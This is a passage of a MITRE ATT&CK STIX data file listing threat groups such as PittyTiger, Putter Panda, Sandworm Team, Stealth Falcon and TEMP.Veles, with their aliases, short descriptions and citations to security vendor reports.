2018)" + }, + { + "source_name": "Chinastrats", + "description": "(Citation: Securelist Dropping Elephant)" + }, + { + "source_name": "MONSOON", + "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)" + }, + { + "source_name": "Operation Hangover", + "description": "It is believed that the actors behind G0040 are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)" + }, + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "Operation Hangover May 2013", + "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.", + "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" + } + ], + "modified": "2019-07-11T13:53:04.105Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:32:07.145Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "PittyTiger", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", + "type": "intrusion-set", + "aliases": [ + "PittyTiger" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "external_references": [ + { + "external_id": "G0011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0011" + }, + { + "source_name": "PittyTiger", + "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)" + }, + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "modified": "2019-03-25T16:51:53.956Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:50.198Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Poseidon Group", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", + "type": "intrusion-set", + "aliases": [ + "Poseidon Group" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "external_references": [ + { + "external_id": "G0033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0033" + }, + { + "source_name": "Poseidon Group", + "description": "(Citation: Kaspersky Poseidon Group)" + }, + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:04.179Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Putter Panda", + "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", + "type": "intrusion-set", + "aliases": [ + "Putter Panda", + "APT2", + "MSUpdater" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "external_references": [ + { + "external_id": "G0024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0024" + }, + { + "source_name": "Putter Panda", + "description": "(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)" + }, + { + "source_name": "APT2", + "description": "(Citation: Cylance Putter Panda)" + }, + { + "source_name": "MSUpdater", + "description": "(Citation: CrowdStrike Putter Panda)" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + }, + { + "source_name": "Cylance Putter Panda", + "description": "Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.", + "url": "http://blog.cylance.com/puttering-into-the-future" + } + ], + "modified": "2019-03-25T16:53:38.621Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:56.785Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "RTM", + "description": "[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)", + "type": "intrusion-set", + "aliases": [ + "RTM" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "external_references": [ + { + "external_id": "G0048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0048" + }, + { + "source_name": "RTM", + "description": "(Citation: ESET RTM Feb 2017)" + }, + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2019-03-25T16:54:05.709Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:10.206Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Rancor", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)", + "type": "intrusion-set", + "aliases": [ + "Rancor" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "external_references": [ + { + "external_id": "G0075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0075" + }, + { + "source_name": "Rancor", + "description": "(Citation: Rancor Unit42 June 2018)" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.491Z", + "x_mitre_version": "1.1", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015.\n (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)", + "type": "intrusion-set", + "aliases": [ + "Sandworm Team", + "Quedagh", + "VOODOO BEAR" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "external_references": [ + { + "external_id": "G0034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0034" + }, + { + "source_name": "Sandworm Team", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)" + }, + { + "source_name": "Quedagh", + "description": "Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)" + }, + { + "source_name": "VOODOO BEAR", + "description": "(Citation: CrowdStrike VOODOO BEAR)" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + } + ], + "modified": "2019-03-25T16:55:26.051Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:04.588Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Scarlet Mimic", + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", + "type": "intrusion-set", + "aliases": [ + "Scarlet Mimic" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "external_references": [ + { + "external_id": "G0029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0029" + }, + { + "source_name": "Scarlet Mimic", + "description": "(Citation: Scarlet Mimic Jan 2016)" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2019-04-22T15:06:12.560Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:32:00.677Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", + "aliases": [ + "Silence" + ], + "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "external_references": [ + { + "external_id": "G0091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0091" + }, + { + "source_name": "Silence", + "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) " + }, + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-07-16T16:12:09.085Z", + "type": "intrusion-set", + "created": "2019-05-24T17:57:36.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Silence", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "SilverTerrier", + "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)", + "type": "intrusion-set", + "aliases": [ + "SilverTerrier" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "external_references": [ + { + "external_id": "G0083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0083" + }, + { + "source_name": "SilverTerrier", + "description": "(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)" + }, + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + }, + { + "source_name": "Unit42 SilverTerrier 2016", + "description": "Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf" + } + ], + "modified": "2019-04-12T16:33:51.005Z", + "x_mitre_version": "1.0", + "created": "2019-01-29T21:36:59.793Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)", + "aliases": [ + "Soft Cell" + ], + "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "external_references": [ + { + "external_id": "G0093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0093" + }, + { + "source_name": "Soft Cell", + "description": "(Citation: Cybereason Soft Cell June 2019)" + }, + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-07-22T15:49:28.637Z", + "type": "intrusion-set", + "created": "2019-07-18T20:47:50.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Soft Cell", + "x_mitre_contributors": [ + "Cybereason Nocturnus, @nocturnus" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)", + "aliases": [ + "Sowbug" + ], + "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "external_references": [ + { + "external_id": "G0054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0054" + }, + { + "source_name": "Sowbug", + "description": "(Citation: Symantec Sowbug Nov 2017)" + }, + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-25T16:57:02.658Z", + "type": "intrusion-set", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sowbug", + "x_mitre_contributors": [ + "Alan Neville, @abnev" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Stealth Falcon", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", + "type": "intrusion-set", + "aliases": [ + "Stealth Falcon" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "external_references": [ + { + "external_id": "G0038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0038" + }, + { + "source_name": "Stealth Falcon", + "description": "(Citation: Citizen Lab Stealth Falcon May 2016)" + }, + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:06.390Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Stolen Pencil", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)", + "type": "intrusion-set", + "aliases": [ + "Stolen Pencil" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "external_references": [ + { + "external_id": "G0086", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0086" + }, + { + "source_name": "Stolen Pencil", + "description": "(Citation: Netscout Stolen Pencil Dec 2018)" + }, + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.086Z", + "x_mitre_version": "1.0", + "created": "2019-02-05T17:56:55.233Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Strider", + "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "type": "intrusion-set", + "aliases": [ + "Strider", + "ProjectSauron" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "external_references": [ + { + "external_id": "G0041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0041" + }, + { + "source_name": "Strider", + "description": "(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)" + }, + { + "source_name": "ProjectSauron", + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)" + }, + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2019-03-25T16:59:10.789Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:07.541Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Suckfly", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", + "type": "intrusion-set", + "aliases": [ + "Suckfly" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "external_references": [ + { + "external_id": "G0039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0039" + }, + { + "source_name": "Suckfly", + "description": "(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + }, + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2019-03-25T16:59:47.104Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:06.777Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)", + "aliases": [ + "TA459" + ], + "id": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "external_references": [ + { + "external_id": "G0062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0062" + }, + { + "source_name": "TA459", + "description": "(Citation: Proofpoint TA459 April 2017)" + }, + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-25T17:00:47.218Z", + "type": "intrusion-set", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TA459", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "TA505", + "description": "[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)", + "type": "intrusion-set", + "aliases": [ + "TA505" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "external_references": [ + { + "external_id": "G0092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0092" + }, + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-24T19:11:41.060Z", + "x_mitre_version": "1.0", + "created": "2019-05-28T15:54:17.213Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "TEMP.Veles", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", + "type": "intrusion-set", + "aliases": [ + "TEMP.Veles", + "XENOTIME" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "external_references": [ + { + "external_id": "G0088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0088" + }, + { + "source_name": "TEMP.Veles", + "description": "(Citation: FireEye TRITON 2019)" + }, + { + "source_name": "XENOTIME", + "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )" + }, + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 